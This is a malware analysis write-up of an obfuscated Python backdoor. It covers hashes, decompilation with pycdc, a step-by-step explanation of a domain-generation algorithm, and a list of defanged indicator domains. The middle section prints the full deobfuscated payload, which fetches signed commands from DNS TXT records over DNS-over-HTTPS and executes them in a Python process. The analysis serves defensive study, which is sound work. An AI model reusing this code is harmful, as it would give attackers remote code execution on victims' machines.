Python Backdoor

Analysis Task
Goal: Deobfuscate the sample. How does the domain name generation work? How does this sample receive …
Difficulty: medium

Summary

The file contains a python backdoor that periodically retrieves commands from the DNS TXT records of domains constructed from a simple domain-generation algorithm (DGA) and feeds them to the standard input of a Python process for execution.

General

Hashes

Type Hash
MD5 2925532adfa4b32e4af654eb0eb3b349
SHA1 5dff1145d0fc6228532b2d3fc09f29f1c359b6fe
SHA256 4ada609d908afd3bb171ab8287cd2ada2cf112c80c9786e10441d68d979caa4c

Static Analysis

The file command indicates that it is a compiled python module:

$ file 4ada609d908afd3bb171ab8287cd2ada2cf112c80c9786e10441d68d979caa4c 
4ada609d908afd3bb171ab8287cd2ada2cf112c80c9786e10441d68d979caa4c: Byte-compiled Python module for CPython 3.12 or newer, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

Given that it is compiled Python bytecode, we attempt to use pycdc to obtain decompiled Python code using the command:

./pycdc -v 3.12  /home/remnux/work/samplepedia/7/4ada609d908afd3bb171ab8287cd2ada2cf112c80c9786e10441d68d979caa4c

The resulting code is obfuscated:

1

The following is an interesting piece of code because it executes something, while the other code just defines functionality in terms of classes and methods:

2

By replacing the final exec command with a print statement, we can get access to the code that is being executed.
It reads:

#!/usr/bin/env python3
import random
import string
import urllib.request
import json
import base64
import subprocess
import sys
import time
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

try:
    subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'cryptography'], timeout=30)
except:
    pass

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.hazmat.primitives.asymmetric import padding

public_key = load_pem_public_key(b'-----BEGIN PUBLIC KEY-----\r\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCA3Yo+LhNui0AVoT/v+CrWVdl+\r\n/Vbbn6RyEW0cbMDN7PUAaghovcWXGBLLJaI9GbR0r0CLFlxTydNZ5X6G28mARmVO\r\nKOu8Sdhgtd8cY51mkJJFtmAYQldK/OdK0o3+EoaO0Y0xsqxeItUugI6Wz6UD/5B4\r\n1p1e90SjTxSn6ZiK8QIDAQAB\r\n-----END PUBLIC KEY-----')


names_a = ["crackin", "unlocking", "mastering", "blasting", "racing", 
    "hacking", "playing", "streaming", "coding", "puzzling","breaking","snapping", "smashing",  
    "crushing", "bashing", "slashing", "whacking", "flashing", "frames", "names", "flames", "tames",  
    "lames", "fames", "shames", "claims", "blames"]

names_b = ["games", "codes", "techs", "plays", "quests", "worlds", "zones", "minds", "vibes", "tricks" ]

def msg(name):
    s = None
    r = urllib.request.Request(method='GET', url="https://cloudflare-dns.com/dns-query?name={}&type=TXT".format(name), headers={ 'Accept':'application/dns-json' })
    with urllib.request.urlopen(r, context=ctx, timeout=10) as f:
        b = f.read()
        s = json.loads(b.decode(f.info().get_content_charset('utf-8')))
    ans = s["Answer"]
    pkts = [None] * 256
    for rec in ans:
        if rec['type'] != 16:
            continue
        d = rec['data'].strip('"')
        l = len(d)
        if l < 1 or d[0] != '.':
            continue
        b = base64.b64decode(d[1:])
        pkts[b[0]] = b[1:]   
    ms = bytearray()
    for p in pkts:
        if p is not None:
            ms += p
    if len(ms) < 128:
        raise Exception()
    public_key.verify(
        bytes(ms[0:128]),
        bytes(ms[128:]),
        padding.PSS(
            mgf=padding.MGF1(hashes.SHA256()),
            salt_length=hashes.SHA256().digest_size
        ),
        hashes.SHA256()
    )
    return ms[128:]


while True:
    for x in range(0, len(names_a)):
        for y in range(0, len(names_b)):
            try:
                n = ''.join(random.choices(string.ascii_lowercase, k=random.randint(4, 8))) + "." + names_a[x] + names_b[y] + ".com"
                m = msg(n)
                with subprocess.Popen([sys.executable], stdin=subprocess.PIPE) as p:
                    p.communicate(input=m, timeout=14400)[0]
                    p.kill()
            except Exception as e:
                continue
    time.sleep(30)

A first thing to notice is that this code does not reference the obfuscated class names and member functions that appear in the decompiled module in any way.
Hence, these functions are just decoy to slow the reversing process but need not be understood.

It starts by attempting to install the cryptography package.

Then, the code runs an endless loop that performs the following steps:

  • Two nested for loops create all possible combinations of words contained in the lists names_a and names_b.
  • For each combination it generates a domain of the form <random_subdomain>.<word_a><word_b>.com, where word_a and word_b are words from the lists names_a and names_b respectively and the subdomain is a randomly generated string of 4 to 8 lowercase letters.
  • For each generated domain, it calls the function named msg and feeds the returned result as input (stdin) to a python process.
  • After querying all the constructed domains in order, it sleeps for 30 seconds.

The function msg does the following:

  • It tries to retrieve the TXT record of each constructed domain by reaching out to: hXXps://cloudflare-dns[.]com/dns-query?name=<DOMAIN>&type=TXT
  • It json decodes the result and looks for a field named Answer
  • In the returned result it checks if the type field is 16
  • It base64-decodes the data field starting from position 1 (if the first character is .)
  • The first byte of the base64 decoded data is the chunk index. The message is constructed by concatenating the different chunks in order
  • The reconstructed message consists of a signature concatenated with the code to be executed.
  • It verifies the signature of the transmitted data using the public key embedded in the code
  • Finally it returns the message starting at position 128

In summary this is a backdoor that reaches out every 30 seconds to a C2 domain based on a domain-generation algorithm, validates the signature of the returned command and executes it.


Indicators

If the network logs show traces of DNS requests to subdomains of the following domains, this indicates a compromise:

crackingames[.]com
crackincodes[.]com
crackintechs[.]com
crackinplays[.]com
crackinquests[.]com
crackinworlds[.]com
crackinzones[.]com
crackinminds[.]com
crackinvibes[.]com
crackintricks[.]com
unlockinggames[.]com
unlockingcodes[.]com
unlockingtechs[.]com
unlockingplays[.]com
unlockingquests[.]com
unlockingworlds[.]com
unlockingzones[.]com
unlockingminds[.]com
unlockingvibes[.]com
unlockingtricks[.]com
masteringgames[.]com
masteringcodes[.]com
masteringtechs[.]com
masteringplays[.]com
masteringquests[.]com
masteringworlds[.]com
masteringzones[.]com
masteringminds[.]com
masteringvibes[.]com
masteringtricks[.]com
blastinggames[.]com
blastingcodes[.]com
blastingtechs[.]com
blastingplays[.]com
blastingquests[.]com
blastingworlds[.]com
blastingzones[.]com
blastingminds[.]com
blastingvibes[.]com
blastingtricks[.]com
racinggames[.]com
racingcodes[.]com
racingtechs[.]com
racingplays[.]com
racingquests[.]com
racingworlds[.]com
racingzones[.]com
racingminds[.]com
racingvibes[.]com
racingtricks[.]com
hackinggames[.]com
hackingcodes[.]com
hackingtechs[.]com
hackingplays[.]com
hackingquests[.]com
hackingworlds[.]com
hackingzones[.]com
hackingminds[.]com
hackingvibes[.]com
hackingtricks[.]com
playinggames[.]com
playingcodes[.]com
playingtechs[.]com
playingplays[.]com
playingquests[.]com
playingworlds[.]com
playingzones[.]com
playingminds[.]com
playingvibes[.]com
playingtricks[.]com
streaminggames[.]com
streamingcodes[.]com
streamingtechs[.]com
streamingplays[.]com
streamingquests[.]com
streamingworlds[.]com
streamingzones[.]com
streamingminds[.]com
streamingvibes[.]com
streamingtricks[.]com
codinggames[.]com
codingcodes[.]com
codingtechs[.]com
codingplays[.]com
codingquests[.]com
codingworlds[.]com
codingzones[.]com
codingminds[.]com
codingvibes[.]com
codingtricks[.]com
puzzlinggames[.]com
puzzlingcodes[.]com
puzzlingtechs[.]com
puzzlingplays[.]com
puzzlingquests[.]com
puzzlingworlds[.]com
puzzlingzones[.]com
puzzlingminds[.]com
puzzlingvibes[.]com
puzzlingtricks[.]com
breakinggames[.]com
breakingcodes[.]com
breakingtechs[.]com
breakingplays[.]com
breakingquests[.]com
breakingworlds[.]com
breakingzones[.]com
breakingminds[.]com
breakingvibes[.]com
breakingtricks[.]com
snappinggames[.]com
snappingcodes[.]com
snappingtechs[.]com
snappingplays[.]com
snappingquests[.]com
snappingworlds[.]com
snappingzones[.]com
snappingminds[.]com
snappingvibes[.]com
snappingtricks[.]com
smashinggames[.]com
smashingcodes[.]com
smashingtechs[.]com
smashingplays[.]com
smashingquests[.]com
smashingworlds[.]com
smashingzones[.]com
smashingminds[.]com
smashingvibes[.]com
smashingtricks[.]com
crushinggames[.]com
crushingcodes[.]com
crushingtechs[.]com
crushingplays[.]com
crushingquests[.]com
crushingworlds[.]com
crushingzones[.]com
crushingminds[.]com
crushingvibes[.]com
crushingtricks[.]com
bashinggames[.]com
bashingcodes[.]com
bashingtechs[.]com
bashingplays[.]com
bashingquests[.]com
bashingworlds[.]com
bashingzones[.]com
bashingminds[.]com
bashingvibes[.]com
bashingtricks[.]com
slashinggames[.]com
slashingcodes[.]com
slashingtechs[.]com
slashingplays[.]com
slashingquests[.]com
slashingworlds[.]com
slashingzones[.]com
slashingminds[.]com
slashingvibes[.]com
slashingtricks[.]com
whackinggames[.]com
whackingcodes[.]com
whackingtechs[.]com
whackingplays[.]com
whackingquests[.]com
whackingworlds[.]com
whackingzones[.]com
whackingminds[.]com
whackingvibes[.]com
whackingtricks[.]com
flashinggames[.]com
flashingcodes[.]com
flashingtechs[.]com
flashingplays[.]com
flashingquests[.]com
flashingworlds[.]com
flashingzones[.]com
flashingminds[.]com
flashingvibes[.]com
flashingtricks[.]com
framesgames[.]com
framescodes[.]com
framestechs[.]com
framesplays[.]com
framesquests[.]com
framesworlds[.]com
frameszones[.]com
framesminds[.]com
framesvibes[.]com
framestricks[.]com
namesgames[.]com
namescodes[.]com
namestechs[.]com
namesplays[.]com
namesquests[.]com
namesworlds[.]com
nameszones[.]com
namesminds[.]com
namesvibes[.]com
namestricks[.]com
flamesgames[.]com
flamescodes[.]com
flamestechs[.]com
flamesplays[.]com
flamesquests[.]com
flamesworlds[.]com
flameszones[.]com
flamesminds[.]com
flamesvibes[.]com
flamestricks[.]com
tamesgames[.]com
tamescodes[.]com
tamestechs[.]com
tamesplays[.]com
tamesquests[.]com
tamesworlds[.]com
tameszones[.]com
tamesminds[.]com
tamesvibes[.]com
tamestricks[.]com
lamesgames[.]com
lamescodes[.]com
lamestechs[.]com
lamesplays[.]com
lamesquests[.]com
lamesworlds[.]com
lameszones[.]com
lamesminds[.]com
lamesvibes[.]com
lamestricks[.]com
famesgames[.]com
famescodes[.]com
famestechs[.]com
famesplays[.]com
famesquests[.]com
famesworlds[.]com
fameszones[.]com
famesminds[.]com
famesvibes[.]com
famestricks[.]com
shamesgames[.]com
shamescodes[.]com
shamestechs[.]com
shamesplays[.]com
shamesquests[.]com
shamesworlds[.]com
shameszones[.]com
shamesminds[.]com
shamesvibes[.]com
shamestricks[.]com
claimsgames[.]com
claimscodes[.]com
claimstechs[.]com
claimsplays[.]com
claimsquests[.]com
claimsworlds[.]com
claimszones[.]com
claimsminds[.]com
claimsvibes[.]com
claimstricks[.]com
blamesgames[.]com
blamescodes[.]com
blamestechs[.]com
blamesplays[.]com
blamesquests[.]com
blamesworlds[.]com
blameszones[.]com
blamesminds[.]com
blamesvibes[.]com
blamestricks[.]com